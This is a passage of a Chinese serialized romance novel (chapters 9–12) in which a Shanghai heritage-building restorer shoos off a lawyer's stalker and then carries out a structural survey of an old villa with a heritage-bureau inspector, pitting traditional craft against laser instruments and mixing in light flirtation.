《沪上危情》 第九章 出拳无力 顾南乔拧着手提包正要踏进小区时,瞥见巷口闪过黑夹克衣角。 她知道,又要搬家了。 三天前法院一审开庭的被告建材商,此刻正用鞋尖碾着烟头往墙根蹭。 黑衣、黑裤、黑鞋还有墨镜,显得阴翳而凶狠。 律师不只是听上去那么风光,在法庭之外遇到的骚扰不见得比受害人少。 这属于‘职业病’,大抵像理发师因为常年勾着腰引发脊椎病一样。 “喂,亲爱的,我马上就到了。”她用甜美的嗓音对电话那头说,转身走进全家便利店。 只有顾南乔知道,都是权宜之计,电话那头根本不存在‘亲爱’之人。 透过冷藏柜玻璃数着倒影——那个男人在报刊架前佯装翻杂志,隔着玻璃门,在自动取款机前反复插拔银行卡的那个人也很可疑。 便利店内会不会也有他们的同伙? 她不知道,但‘草木皆兵’此刻深有体会。 最坏的结果大不了被人恐吓几句...... 拜托,这可是国内啊! 这个年代应该不会有比这更过分的事了吧? 转了几圈,打开手机录音后抓过货架最贵的红酒的走到前台结账——她没有证据证明对方尾随,亦没有耐心和对方耗下去。 长在富裕家庭,她还没如此憋屈过! 还有,希望关键时刻,这酒瓶的质量配得上价格! 工装靴踏碎了便利店门铃。 “顾律师生活这么有腔调?”陆砚肩头沾着老洋房的彩绘金粉,手里拎了两盒卤味凉菜。 这一刻,她仿佛找到了依靠,就像队长突然宣布作战取消、新兵顾南乔深深卸了口气。 尽管他们只见过一面。 “亲爱的,就这么迫不及待请我吃大餐嘛?”她娇滴滴拢过来,伸手挽住陆砚,递了一个隐晦的眼色: “去哪?我跟你走。” ...... “前面修地铁,我们绕个路。”陆砚转动方向盘,后视镜里那辆灰色大众果然也跟着‘顺路’。 顾南乔手里拿着《房屋租赁合同》倒是一副神态自若的模样,只是自己都不知道,指甲已在‘提前解约’条款划出褶皱。 唉—— 那么阳光开朗的一小姑娘也不容易,怎么大伙都过得不开心? “瞧好了,今天咱做一回好人。” 顾南乔没反应过来这句话的意思,车子已经稳当停在路边。 粉色路虎别停他们的瞬间,陆砚猛地摇下车窗:“建材城王老板是吧?上个月你们往砂浆掺海沙被住建局通报,还有空当街溜子?“ 自然是顾南乔告诉的来龙去脉。 副驾男人刚要掏烟,陆砚突然下车拍响车门:“我的十来个兄弟在旁边喝酒,要不要过去聊聊古建防火规范?” 做生意的,没几个经得住消防检察。 更没几个经得起三天两头被人检举消防问题。 当然,此刻最重要的不是说了什么,而是你的态度反映了什么。 淡定口吻表明正面冲突的勇气,结合陆砚高大结实的身材,得了势的顾南乔一下子就燃了起来,恨不得撸起袖子上去战斗。 对面两人,王老板大约四十多岁的样子,没说话,另一个戴墨镜看不清脸。 优势在我——顾南乔。 王老板和副驾上那人欲言又止、止又欲言,不上不下的样子此刻结合一身黑的打扮,竟显得滑稽。 陆砚也算看出来了,对面是想吓唬吓唬这姑娘。 不然呢,你以为这是哪?大人,上海的时代变了! “轰——” 目送大众车尾灯渐渐消失在行车道,顾南乔拉住陆砚的胳膊,慢慢地、眼角笑出泪花:“陆师傅谈话技巧比《刑法》第293条管用。” 说着,脑袋渐渐偏到另一边,即使猛男落泪也要保持‘我要当你的入党推荐人’那般豪爽,陆砚懂的。 他更想吐槽的是...... 原来顾南乔也是个爱背书的女人。 难怪两人能做好朋友。 “穿鞋的都怕光脚的,一物降一物呗。”他说。 “陆师傅现在是准备去找十来个兄弟喝酒吗?” 陆砚指向车上塑料袋,乐道:“您看看,这么两盒够十来个人吃吗?” ...... 晚上七点不算迟,在上海,吃八点钟还没吃晚饭的人一抓一大把。 阿乐今天不在店里。 张野踩着箱喝青岛啤酒:“兄弟们!敬甲方祖宗十八代!”泡沫洒在老周难得一穿的罗蒙西裤上,引得老头举着鸡翅追打。 顾南乔套到话以后硬要跟过来,说是要给‘哥几个加个菜’。 ......不知道这律师怎么当的,说话引人遐想难道也是严谨的体现? 反正凑巧,今天本来就是跟哥几个聚一聚,顺便告诉他们老洋房不会拖太久的消息、稳定军心。 简单介绍之后,哥几个也就没见外了。 “卧槽陆哥你挖文保局墙角?”张野故意提高嗓门,“杨督察知道要贴封条的!” “知道、不知道不都已经贴了吗,现在拐回来一个人算赚的。”小李喝了口酒,煞是羡慕道。 彩灯扫过顾南乔的职业套装,她举杯,落落而大方:“首先纠正一下,我不是文保局的。然后有没有人要咨询个法律问题——比如被迫加班怎么索赔?” 众人捧场一齐大笑,彻底放开。 所以说男人聚会要带漂亮女人呢,气氛催化剂嘛! “顾律师来摇骰子!”小赵推来冒着冷气的扎啤杯,“真心话大冒险,输的揭甲方老底!” 都是出了名的‘爱美之人’,眼下谁第一个跳出来大伙丝毫不意外。 顾南乔解开西装扣,没在半点怕的,“我可知道住建局招标内幕,赢了你可要开到大奖了!” 还内幕......赢了你不吃上官司就谢天谢地了,陆砚无声吐槽。 骰盅摇晃声里,她连续三次猜中小赵的骰数,逼得小伙自曝偷用3d打印斗拱的黑历史。 您别不当回事,在咱们这行可是不亚于‘四川人吃鸳鸯锅’级别的黑历史! 一时间顾南乔杀出了‘顾大将军’的气势,立马横刀,等闲三五人竟无从近身。 “陆师傅?”她眉毛一挑,娇喝道。 玻璃杯橙黄液体卟啉卟啉的在杯身晃荡。 陆砚自是不无不可。 她强任她强,我包归然不动。 要知道,有两种人玩酒桌游戏是最无解的: 一个是技术好,一个是酒量好。 今天定要让她知道什么是大力出奇迹! ...... 华灯初上,陆砚又清了一轮酒。 喝到微醺就要适可而止了,今天毕竟有女同志在场,面子无所谓,里子不能坏。 真心话! “下面有请陆哥!”张野抢过驻场台上的话筒,“当年他为了给某人写歌,差点丢了建筑局的业务!” 酒过三巡陆砚也不含糊,踢开脚边空酒瓶当仁不让上台,木吉他响起时酒馆突然安静。 他改过的《南方姑娘》混着酒意:“你住着的雕花窗棂啊/藏着七十二道月光......” 此刻没有老洋房上面糟心的事,只有一份纯洁的、被遗落在旧时光里的情怀,随着温柔的嗓音缓缓流淌。 他唱着民谣,一如她那样温柔,连带着思念的心也变得寂静。 顾南乔用吸管在杯沿刻波浪纹,橄榄核随节拍沉浮,她很喜欢男人的模样.....还有干净的声音。 当陆砚唱到‘梧桐叶覆盖的弄堂’,她食指无意识摩挲着手机壳边缘,基本清醒的脑子里在想什么是喝了不少酒的旁人无从得知的秘密。 “噢,南方姑娘/我们都在忍受着漫长/南方姑娘/是不是高楼遮住了你的希望......” 是不是高楼遮住了我们的希望? 可惜台下还是大老粗居多,一首歌没听完小李就跑出去吐了。 ...... 22:49,后巷垃圾桶旁。 “张总,空心砌法必须保留通风层......”陆砚倚着湿漉漉的砖墙,“对,用碳纤维布加固不影响外观......” 此刻酒意浓,不过接到前甲方的友好反馈是开心的事。 于是在细节上又叮嘱了几句,直到挂断电话才意识到忘记催他们打尾款了。 死要面子活受罪! 门口,顾南乔的高跟鞋淌过一块积水,踩碎霓虹倒影:“没想到古建修复师会写歌。” 隔着玻璃看他比划施工手势,酒馆灯光给他镀上蓝紫轮廓。 老周年纪大,务实的他更专注清盘行动,凑过来递烤串顺便说道:“小陆修静安别墅那会儿,天天蹲窗台下听雨声,说民国工匠在木头里藏了风声密码。” 这无疑是种艺术上的修饰,那阵子陆砚是真喜欢那个窗台,‘恨不得把它搬回家’那种喜欢。 等结了这个项目......再结几个项目,就把自家窗台也改造一下! 走出来看到站在巷门口已经穿好外套的顾南乔,知道对方大概还有些感激的话没说出口。 他无所谓,心里更在意的是明天老洋房检测的事。 “今晚多谢。”顾南乔晃着车钥匙,“以后我租到长宁路了,下午那些......” 手机铃声割裂夜色,是陈禹打来的,“这几天电话打得勤啊...啊?噢...过几天肯定有空出来。” “...” 雨丝掠过愚园路的法国梧桐,顾南乔望着后视镜里倒退的霓虹招牌,还有离开之前锤在陆砚胸口的一拳。 她没有用力。 因为听说,打在人身上却不疼的话,会有青春的感觉。 第十章 不期待的理解 第二天。 陆砚的皮卡车碾过满地梧桐絮,在铸铁大门前甩出半道漂移痕。 当然,漂移痕存在于幻想。 一楼门前脚手架上的防尘网连褶皱都与三天前别无二致,文保局的封条在穿堂风里懒洋洋地晃,好一副嚣张跋扈的模样。 “说好的危房检测呢?还什么劳什子激光测绘呢?”他踹了脚廊柱。 又是晴天,青砖灰墙,飞檐白瓦,戗脊上的嘲风石像瞪着来到这的每一个人。 他原估摸着第二天文保局的设备也该进场了,于是在2点左右驱车赶到老洋房现场。 意外的,看起来严谨、靠谱的杨灵办起事这么容易掉链子! 香樟树荫下小坐二十分钟,陆砚拨通了电话。 “稀奇啊陆师傅,您这手机居然能打通?”顾南乔的声音混着打印机嗡鸣,“昨晚想给你发古建讲座邀请函,回复我的可是中国移动。” 昨晚?没印象啊。 “年纪大了睡得早,小姑娘莫怪,”陆砚打量着树影长度,“你们律师楼缺不缺门神?我这有上好的桃木雕花板。” “留着镇你的老洋房吧,快说,什么事。” “杨灵手机号是多少?我找她有事。” 机器按键突然停滞,“灵灵在文保局走廊跑了五趟设备科,这会儿估计正抱着《仪器调度手册》啃呢。” ...... “您拨打的用户正在参加重要会议......” 机械女声与蝉鸣交替共振,吵得陆砚的矿泉水瓶在草地上砸出个月牙坑。 一直打不通,他甚至有怀疑是顾南乔的恶作剧。 怎么见面那么多次就没要个电话呢?他又不是看见美女就害羞的人! 大热天的,走也走不掉,现在就只能干等不成? “嗡——” 保时捷碾过叶片,这个时节的落叶还不算枯燥,于是只有含蓄的引擎声浪作为登场特效。 杨灵推门下车,白衬衫束进灰色西裤,袖口别着枚银质数据u盘。 您可算舍得来了! 随后她拎出个行李箱大小的金属箱,滚轮在青石板上走得磕磕绊绊,画风迥变。 “杨博士的监测设备是工作人员骑共享单车运过来的?”陆砚用手指敲着门框,“这房子可等不起您搞学术调研。” “遇到了一点事情。” “那边的事情我不知道,但这边的事情你就带这么点家伙事是肯定解决不了的。” “便携式应力仪,检测基础数据足够了,肯定比不上某人用糯米胶当发蜡多功能。” 好嘛,句句有回应,跑了五趟设备科还这么精神! 等她把箱子拖到一楼前厅,后面无事的陆砚蹲在一旁又成了喽罗。 蝉鸣突然被热浪压成断续的嗡鸣。 “刚才给你打了好多电话你都没接......这房子每停工一天,菜市场卖糯米的阿婆就少三个主顾。”他一副为生民立命舍我其谁的浮夸口吻,“巷口修鞋匠等着接我们团队的劳保鞋单子,连居委会都在问老洋房的事情。” 此处就两人,不聊天多无聊啊。 “但仪器调度需要遵守《文物保护设备管理条例》。” 杨灵的激光探头在梁架间织出蛛网,头也没转直接怼回去。 又来了,出口成章啊你。 陆砚本想着先要个联系方式的,但现在决定先让她意识到古建和商业项目的区别。 “知道为什么工匠要在柱础下埋酒坛吗?” 没等对方回应,他蹲下身抚过砖缝:“民国二十三年...左右,大旱,老师傅们用黄酒调糯米灰浆,既保湿度又防蚁蛀。”轻叩两下青砖,“去年我按古法重调比例,隔壁阿婆说闻着像她出嫁时的合卺酒。” 陆砚什么都没说,又好像什么都抱怨了。 难怪总有人愿意指桑骂槐,这感觉真爽。 不知道杨灵听没听懂,白衬衫被穿堂风掀起一角,回复逻辑严丝合缝:“科学检测不需要民间传闻佐证。” “上周台风天抢修屋脊,我在夹层里找到这个......喂,你看一眼咯。” 陆砚从工具包掏出个锈迹斑斑的饼干盒,掀开盖子是半罐彩色玻璃珠。 “七八十年代的小孩拿它当弹珠玩,现在的人想找都找不回来。” 激光笔的红点忽然在墙上打颤。 杨灵摘下防蓝光眼镜:“所以你意图用情怀替代结构计算?” 这人真是冷漠啊。 “不仅仅是情怀,就比如说竹钉。刚入这行的时候,暴雨冲垮了皖南运竹料的卡车。 三十根毛竹泡在泥水里三天三夜,是学校的老师傅带着我们一根根擦净晾干——”他指着的竹节纹路,“他说山里的暴雨打在竹节上,吸进去的是水汽,长出来的才是这些活着的斑纹。” “但比不上现代材料的耐候性。” 又是一语中的。 她说的理论上没错,但—— “它会呼吸!”陆砚像是预判到猎物狡猾的猎人,灼热的阳光打在他脸颊,“钢钉只会生锈溃烂,但竹钉会和木头一起伸展、收缩,裂缝里能长出新的年轮!” “杨博士,这笔账你怎么算?” 杨灵的平板自动锁屏,黑屏映出两人交叠的倒影。 “所以你把自己的事业当成会呼吸的竹钉?” 她听懂了。 她也迟早会听懂的,因为这是后续方案冲突上不可避免的主旋律之争。 虽然李主任说‘传统工艺结合智能监测,既保安全又留文脉’,可他真的很需要对方理解: 老建筑,不需要那么多智能设备修饰。 时代发展很快,对老匠人的信心也不应完全摒弃! “杨灵女士,我该用怎样的语言向你表述我的惶恐? 你想想,这房子装着三代人的柴米油盐,晨昏线扫过门廊的轨迹...... 或许恰与三十年前的女主人晾晒蓝印花布的弧度重合...... 窗棂投下的菱形光斑,到现在还依旧保持着学童时代作业本上的角度。” 陆砚深吸了一口气,目光灼热看着她,“老洋房不仅仅是一个项目,文艺一点说,对在意的人而言它就是抵抗时间暴政的诺亚方舟,载着人类存在的连续性与厚......算了,你根本感受不到有人会多喜爱这栋房子。” 他有些烦躁,主要是烦喋喋不休的自己。 还‘文艺一点说’,自己什么时候染上文艺风格的? 都这个年纪了,为什么还要和小孩子一样试图让立场不同的对方理解自己呢? 这种对他人的期待感在成人世界是不必要的! “你很喜欢这栋房子?” 没有犹豫,脱口而出,“比你想象中的还要喜欢,真的,我觉得我和它有冥冥中的感应。” “你早餐吃的粢饭团?”杨灵凑近戳了戳他的手肘,“袖口还沾着糯米粒。” 穿堂风卷着梧桐絮扑进来,里面夹杂的阳光因子清扫掉阴霾。 阳光突然温柔,宛如捣碎的鸡蛋,洒满整个庭院。 陆砚僵着脊背,听她难得放轻的声音:“我不是不关心,可他们做事真的很迂腐......我保证设备明早到场。” 世界慢慢缩小,眼前低头就能触碰的人儿和清晨海滩上的沙砾一样耀眼。 没有什么是不能原谅的,真的。 人和人相互理解的感觉就像救赎的光打在身上,暖洋洋的。 “但传统灰浆的固化时间确实太长,需要重新考虑。” “...” ...... 16:55,光线斜过杨灵的发梢,给她工作的背影打上了暗部,有蓝调的意思。 可能又是那阵穿堂风,忽然卷起报告纸,赠它一场值得回味终生的大逃亡。 闲人陆砚在后面一路追,直到飞扬的纸张撞上后院葡萄架。 熟透的果实砸在他肩头,紫红汁液在监测图上晕开个爱心。 嗯,他不是个多讲究的人,反正也不是他的监测图—— 这痕迹还怪好看的嘞! 跟着下来的杨灵随即捡起沾满果浆的纸页:“看来连葡萄都认可传统工艺。” “所以您这位数据狂魔也信这些浪漫鬼话?”他意外笑着问。 忽然就想抽自己一个嘴巴,刚才杨灵可能是想表达对传统工艺施工方案的认可,结果—— 嘴瓢了! “呵...呵...城隍庙的蟹粉小笼包你吃过吗?安全又卫生。我一会让他们把食品检测报告也递过来一份,今天你有口福了。” 没错,就是那家虽然一次没点过、但确实在某团上排名第一的蟹粉小笼包。 杨灵没搭理他,拾起东西准备打道回府:“设备明早八点到场。” “顺便提醒,你也要把工具带全。” “昂......啊?” 夕阳穿过葡萄架,给老洋房的裂纹镀上金边,藤蔓也悄然在墙根织出新的裂缝图谱。 第十一章 又泼她身上了 梧桐叶打着旋儿落进皮卡车斗,陆砚把麻绳绕成圈往门钉上挂。 引擎声击碎寂静的清晨,是那辆樱花粉的保时捷taycan。 不是吧? 今天正式监测他想过会有群糙汉子,扛一麻袋工具浩浩荡荡走过来,连一系列社交辞令都酝酿好了,结果...... 和昨天一样,就来了一个,还是个在读书的小姑娘? 不得不说这科技进步了就是省人力。 没一会,台阶前出现相对昨天更加踉跄的浅蓝色身影——杨灵抱着个半人高的工具箱,像只扛着冰箱的企鹅,每走两步就得腾出手扶快滑到肘弯的帆布包带子。 陆砚赶紧迎上去。 “谢谢。” “你们领导真舍得让高材生当苦力?” 重返洋房门口,陆砚用鞋尖推了下台阶边缘的三脚架。 还记得第一次遇见杨灵的时候,她旁边站着一个瘦高的同事,叫什么来着?这么大好的机会不过来献殷勤? 晨风掀起杨灵错位的衣领,露出里面干净的白色文化衫,普通的施工作业服穿着意外合身。 “其他组员在文旅局核对预算......”她腾出手扶眼镜,小仪器箱‘咣当’砸在青砖地上。 话语未落,帆布包里滚出缠成乱麻的数据线,一股脑撒在陆砚刚清理出的雕花地砖上。 完全就是新兵蛋子头一回进现场嘛! 实在不能把这书卷气的姑娘与脏乱的施工地关联起来。 杨灵慌张捡东西的姿势与那天会议强势的形象......也太割裂了! 那天酷酷的你、已经因为搬东西的劳累下线了吗? “你们招人都不考动手能力的吗?” 对她肯定没怨气,但还是习惯性调侃。 “陆师傅你也别闲着,这次文保局要求双人交叉验证数据。” “什么?!我怎么不知道?你不早说!” 等等,昨天她最后好像是提了一嘴要带工具的事。 “不用紧张,等我测完就来帮你。”她说。 意料之中的‘傲气’。 小小新人,安敢大放厥词?这是对老手艺人骑脸嘲讽啊! 但是工作来了肯定要重视,陆砚当即脑子里过了一遍流程。 两人经过一系列商量后,约定互不干涉,各自测量、最后比对。 ...... 二楼西墙的裂缝像道陈年刀疤,彩玻璃滤进的阳光给霉斑镀了层金。 陆砚从工具箱抽出墨线盒,松烟墨的苦香漫过尘味,而杨灵则蹲在墙角组装激光仪,运动鞋带像两绺海草杂乱交错。 “看好了——” 陆砚拇指抵住墨线一弹,棉线‘唰’地绷直贴上墙面。 杨灵扶眼镜凑近半寸,只见墨线触到墙体的瞬间,原本笔直的棉线突然蛇行般扭出毛边。 “灰浆含水超三成就会这样。”他指尖抚过凸起的线痕,墙粉簌簌落在她鞋面,“比你们那个……”瞟了眼嗡嗡作响的激光仪,“会发红光的大玩具实在。” 杨灵自然不服气,按下启动键,荧蓝光束蛛网般覆上墙面:“至少它不会给墙面染色,这里不需要‘斑马’。” 这说话的习惯,带点翻译腔啊。 然后,也不知具体工作原理,墙体内部构造就跑进她的平板里。 当屏幕跳出立体模型的瞬间,她突然‘咦’了声——裂缝深处藏着根完好的楠木暗梁,这正是陆砚在方案中着重布置的一堵墙。 要知道,这是肉眼不能直接观测的...... 两人目光在光斑与墨痕间相撞: 很明显,旧手艺并非是过时的手艺。 陆砚含而不露,心里像饿了三天的人突然吃到免费卤煮般畅快。 对方吃惊的模样让他收获愉悦,神清气爽。 别过头拧开保温杯提前喝起庆功酒,喉结滚动时瞥见她鞋带终于是散了。 突然想到村上春树——林晚声逼他看的: 如果我们彼此心意相通,你头发乱了的时候我会笑笑地替你拨一拨,然后手还留恋地在你发上多呆几秒。但是如果我们彼此情义不平等,你头发乱了,我只会轻轻地告诉你: 你头发乱了噢。 “你鞋带散了噢。” 杨灵小声谢谢,背过身蹲下给鞋带进行加固作业。 ...... 正午阳光把彩玻璃投影泼成满地琉璃。 早知道文保局就来一个人,自己高低要把张野拉上帮忙。 陆砚独自在一楼哼哧辗转,反观二楼基本没有动静。 前期要调试的工具不少,杨灵踮脚调试窗边的倾角传感器,蓝色工作服系挂腰间,衬衫后背洇出汗渍。 态度上,陆师傅非常认可对方。 且不论专业水平,人家娇贵的身份却不拿半点姿态,这点足以让人另眼相待。 眼看到了午饭时间,陆砚从工具包摸出袋压缩饼干扔过去:“你们搞监测都不吃饭?” 听说国外没那么重视午餐,也不知道是不是真的。 她撕包装袋的手顿了顿,“理论上,进食会干扰设备恒温......不过饼干没问题。”饼干碎渣正好落在键盘缝里。 “...” 就您这不拘小节的手脚,不吃饭是对的! 高情商男人选择岁月静好,两人就着各自保温杯的凉茶啃完半袋饼干,杨灵突然指着雕花门框: “这种干裂纹,你们用鱼鳔胶还是糯米灰浆?” “看年份。民国以前的用桐油石灰,建国后的...”他忽然噤声——她的嘴角沾着饼干屑,睫毛在光斑里扑闪如蝶翼。 “...用鱼鳔胶。” 突然萌动的暖流流淌全身,吓得他一激灵,忙开口道: “别的另说,工作上不要怕麻烦,我们要知无不言多沟通!” 她点点头,安静咀嚼,下颌流畅的曲线表明,或许被咬一口也不会疼。 对方吃东西的时候呈现一种已读但不想回的既视感。 索性两人对付一餐又开始工作。 几个小时的时间对于繁杂的测量指标来说不算什么。 可能都觉得专业上‘输了’是件不光彩的事情,整个下午也没闲聊。 这是战争——尽管两者不属于对立关系——传统手艺和现代科技的战争! 埋头做事,为了交叉验证用十二分力是彼此之间的默契。 ...... 暮色漫过彩玻璃最后一扇蓝窗时,杨灵的手机传来提示音。 顾南乔的语音外放炸开:“古建狂人,约个饭呗!” 杨灵回了一声‘好’,摘下平面镜,揉捏微酸的脖子看向陆砚。 玻璃窗外的梧桐叶沙沙作响,陆砚拎起空饼干袋:“你请?” 这里用到的技巧是: 首先将语境带入‘两人要在一起吃饭’的前提中,达成‘不管是不是她请客,至少会一起吃饭’的结果。 “仪器借调费超支了。”杨灵摸出皱巴巴的零钱夹,“aa。” 一眼假,现在谁有现金啊! 在这些无关紧要的事情上交锋不失为一种乐趣。 “上个项目的工钱还没结。”他晃了晃手机,“要不石头剪子布?” 是玩笑话。 陆砚很乐意请她吃饭。 有多乐意呢?如果手里有一百块,他能毫不犹豫的给她花二十! “陆......” “你左脸有一抹灰。” 陆砚从口袋递出纸巾,用莫大的毅力忍住了这个撩拨女人的冲动。 ...... 便利店的暖黄灯光裹住三人,顾南乔托起关东煮摆拍,香奈尔的小马甲,五官精致,举止大方。 对比之下,两个穿工装的倒显是一伙。 “百年危房爱情故事——”她把镜头怼到杨灵面前,“女主角嘴边有饼干屑哦。” 杨灵手一顿,海带结掉进辣汤溅起油星。 ——自然是骗她的。 这姑娘,唉! “你俩这工作餐也太寒酸了。”顾南乔戳着杨灵帆布包里的压缩饼干包装,“我们律所实习生都比这吃得好。” 工作餐简陋确实该喷,问题是没有工作餐啊! 所以这波不能喷。 “事先声明,这两顿都是我自掏腰包请的,得算人情。” 陆砚看向杨灵,对方也正看向他,视线一触即过,显然这是默契的体现。 可惜喝酒不合适,不然还有机会拜个把子。 这时陈禹的语音通话打了过来。 “哥们儿,想我了?” “陆砚!下周一晚声的巡演收官场在小酒馆,给你留了前排座!”颜朵的声音从陈禹的电话传来。 陆砚咬着的竹轮卷‘咔’地断裂,油星四射。 杨灵低头擦拭溅上辣油的监测笔记,顾南乔的镜头定格在二人各异的侧脸——陆砚盯着窗外飘摇的梧桐树,杨灵的纸巾擦出更大的污渍。 ...... 月光爬上老洋房剥落的墙皮,陆砚拧亮应急灯继续测东墙数据。 没办法,说是五天左右提交,那便只有五天时间,说是五天时间,难不成还真卡在最后一分钟送过去? 尽早完事是最好的。 犯难就难在她也是一个人,连新兵蛋子都那么自立,陆砚更不好意思去喊别人帮忙。 杨灵回去前把陆砚临时住的一楼偏房也顺带测一遍,想必进度上是不赶的,行军床上的被褥还卷着白天她坐过的褶皱。 他摸到工具包里的螺丝钉,顺手钉紧了松动的窗框。 “嗒巴、嗒巴......” 现在不热也不冷,洗个冷水澡应该没问题吧? 彩玻璃漏下的月光在地砖上游移,像谁遗落的墨线。 第十二章 误差0.49% 周四,据说打工人从这天开始直到周末晚上戾气都在减弱。 另一边,老洋房比昨天更忙、话更少,这就是临近deadline的力量。 陆砚万年不变,以深蓝色偏黑、分布多个口袋的工装服示人。 他把同一款衣服买了三套用以换洗。 杨灵扎马尾,换了身浅绿工作服,袖口挽起一截,姿势和昨天如出一辙。 阳光下得到舒展的中发发尾带着些许棕黄,给人一种染过的感觉,但随着她和光线的角度交错,又会发现只是明亮的墨色。 他想不透,怎么有人不仅可以介于少女与女人之间,还可以融合瓷实与娇嫩于一体。 光恰好穿透耳后淡青的血管,在墙上映出蝴蝶状的阴影。 她忽然偏头,一幅民国画有了涟漪,“陆师傅?” “我去买水,不用谢。” ...... 所谓危房检查其实看到房屋基本状况良好的情况下,关键步骤大致就只剩结构损伤、材料性能、结构变形三个方面的检测。 不是偷懒,用专业术语讲,这叫经由‘现场初步勘测’排除房屋外观和结构无明显损伤。 做这些活陆砚有经验,一次老旧砖混住宅检测中,他发现二层纵墙存在多条45°斜裂缝,宽度0.5~1.2mm,延伸至窗洞口边缘。 通过进一步测量该墙段对应的基础沉降差达15mm(规范限值5mm),结合砌体抗压强度检测值,综合判定裂缝由地基不均匀沉降与墙体承载力不足共同引起。 于是那次他果断的开展保守型修缮,结果甲方一听要多出钱自然不肯...... 那就算了呗。 ...... 直到最后一缕夕照漫过老洋房,杨灵手里的激光测距仪‘嘀’地熄了屏。 陆砚蹲在墙角数麻丝,后颈沾着片木屑,工装衫袖口让桐油染出片琥珀色云纹。 “危房警报解除。” 杨灵推了推滑到鼻尖的眼镜,明明视力没问题却天生适合戴眼镜,防辐射平光镜想必就是为了补足了这个缺憾而诞生的? 监测报告上的小数点被暮色镀成金粒,“按《古建保护条例》第四章第七条……” “打住,这里不是学校,没人让你背书。” 陆砚扯开缠在木楔子上的墨线,松烟墨在宣纸洇出个歪扭的圆,亦是副轻松的神色。 “你都不问问我这边,就擅自解除危房警报了?” 归功于昨晚偷偷加班三小时,他先于杨灵二十分钟测完所有数据。 不管对方有没有察觉,反正他内心里,是暗爽的。 “陆师傅,”杨灵平静的递来视线,“你不累的话我们可以进行下一步。” 反正陆砚就是能从她波澜不惊的脸上看出混和着挑衅的自信。 呵。 正好老师傅也不是个容易自卑的人,于是顺着她的意思往下说,“噢?比对以前要不要赌点什么?” 昨天杨灵指着裂缝深度数据表示怀疑时,就起了好胜心。 至于这些设备的精准度...... 他知道大概率会输,但还是想试试。 杨灵自是不无不可,捧着平板电脑,荧蓝光束扫过陆砚用朱砂标记的裂缝宽度。 核对开始—— 她领头,从一楼东墙逐项核对前厅各个柱体、楼地面与楼板,老式木梯吱呀作响,途中帆布鞋带勾住凸起的榫头,顿时整个人晃了晃。 后头的陆砚见状,心态悄然发生了转变: 就这?我能输给她?! “小姐,当心台阶。” 说着,虚扶的手停在她腰后三寸,松烟墨的苦香混着她发间幽香,好似雪松精油和牛奶。 檐角铜铃叮咚,惊落梁上积尘扑簌簌落在她肩头。 杨灵翻看陆砚的报告,“这里差0.3厘米。” 指尖点向横梁某处,激光数据跳动着逼近红线。 “嗯?” 这是种什么感觉呢,上一秒还在替人担心,下一秒那人就把刀子捅进你心窝。 cos东郭先生的癖好还是不要吧! 所谓老手艺人自然要嘴硬,摸出祖传的铜制卡尺:“不要只看数据,你那个会喘气的铁盒子,没算老木头热胀冷缩。” 他说着怪话,卡尺卡槽夹着的木屑簌簌飘落,在夕照里织成金纱。 拔刀吧。 可惜。 对方认定的事情根本不想争辩,陆砚继续跟着往前走,心里悄悄记下刚才的数值。 一层逛完去二层,老洋房面积不小,走走停停,两份数据结果意外的吻合。 真正决胜负的是西墙暗柱,也就是测绘开始时陆砚炫技的地方。 杨灵的三维建模显示倾斜度0.8°,陆砚的鱼线吊锤法测出1.2°。 两人挤在窄窗边复核时,陆砚占着个头大,挤开杨灵又测了一遍。 定睛一瞧,嘿嘿,1.2°! 而且两者都在安全范围内,不论谁对谁错项目都算保住了,这又何尝不是一种稳稳的幸福呢? 她突然把头凑过来,连马尾辫梢扫过他喉结也不曾有反应: “你没考虑地磁偏角。” “...” 什么偏角?什么地角? 这才什么量级的测量,不是可以忽略吗? 再说了,你考虑了就包赢吗? 如果陆砚是张野的话,还真可能自我欺骗完成精神胜利,但—— 0.5%的误差率红线像道天堑。 随即陆砚换下不锈钢锤,用铅锤又试一遍。 三秒、五秒,稳定。 ......以后再用不锈钢锤的时候定要先走一遍去磁流程! 哎呀,一不小心输了呢。 “看起来是有点偏,这墙的裂缝太暗了...哈哈。” “真正危险的裂缝往往在肉眼不可见处,比如某些人假装不在意前女友巡演时的微表情管理失控。” 这次彻底笑不出来了。 太狠了,哪有往人七寸死劲了掐的! “就像后花园的水池,”她故意跑到陆砚眼前,“看似无序,其实是地下水位波动的可视化呈现。” 对,您杨博士多博学啊,从数据结果引申生活就算了,还点我软肋算怎么个事? “不管你怎么说,在这放荡形骸的年代,我就爱当一个深情的人。” 脑子里一个白裙女人抱着吉他,这次她似乎在笑。 “看来陆师傅的怀旧和固执都是有迹可循的。” 打嘴仗一点都不好玩,陆砚只想转移话题。 正当他的嘴被事实强硬抽打而不知所言的时候,她扬起头,灿烂一笑。 “嗯——,我会小心台阶的,陆先生。” “...” 刚才怕她跌倒的担心,原来被误会成讽刺了。 她只是轻轻扬起嘴角,那笑容便如温柔的春风拂过人心,仿佛置身一片花海,感受到无尽的美好与惬意。 所以看在她那么开心的份上,怎么样都好。 “......你们高科技算不到老木头的倔劲。” 老师傅偏过头看房梁,心情意外不差。 要是一开始没有那桶从天而降的糯米胶,是不是两人早该这般融洽了? 不知道,至少现在还不错。 “噔、噔!” 这几天她出现得比较勤快了。 顾南乔踩着落日余晖闯进来,高跟鞋尖踢开掉落的铜丝:“百年危房爱情故事大结局?输家要表演胸口碎大石?” 连暮色都往她身后退了半步——这个女人的明媚,天生就该站在光里。 小姐妹之间八卦还挺快。 “顾小姐往这儿一站,”陆砚指指天,“气象台都得把暴雨预警改成晴转彩虹。” 娱乐精神嘛,咱也不能差,何况说人家又不是开不起玩笑的。 就在陆砚冲‘乐子人’眉飞色舞的时候,清冷声音打破‘老友相见’的融洽气氛。 “陆先生准备什么时候表演?”她说。 陆砚和顾南乔均是一愣。 不是你来真的? “比起碎大石,质检员大人您难道不更应该解释‘危房爱情故事’吗?” 形式不利我的时候就要转移试听和讨好式微笑... 不过...看表情,这小妞明显是个得理不饶人的主。 “大人,您的鞋带松了,要不小的这就给您系一个漂漂亮亮的蝴蝶结......” 蝴蝶结自然是没系上的。 最后表演环节是顾南乔拱的火。 陆砚清唱谭咏麟《一生中最爱》,手指在橡木桌沿敲出熟悉的节奏。 “如果痴痴的/等某日终于可等到/一生中/最爱/谁介意你我这段情/每每碰上了意外不清楚/未来/何曾/愿意/我心中所爱/每天/要孤单看海...” 某个高音突然劈了叉—— 曾有人在录音棚教他换气的画面闪过脑海。 直到这首被重复几百遍的歌被唱失误,才意识到原来她的离开,已是那么久远的事实。 ...... 法餐厅的水晶吊灯应该为菜品提供了不少溢价空间。 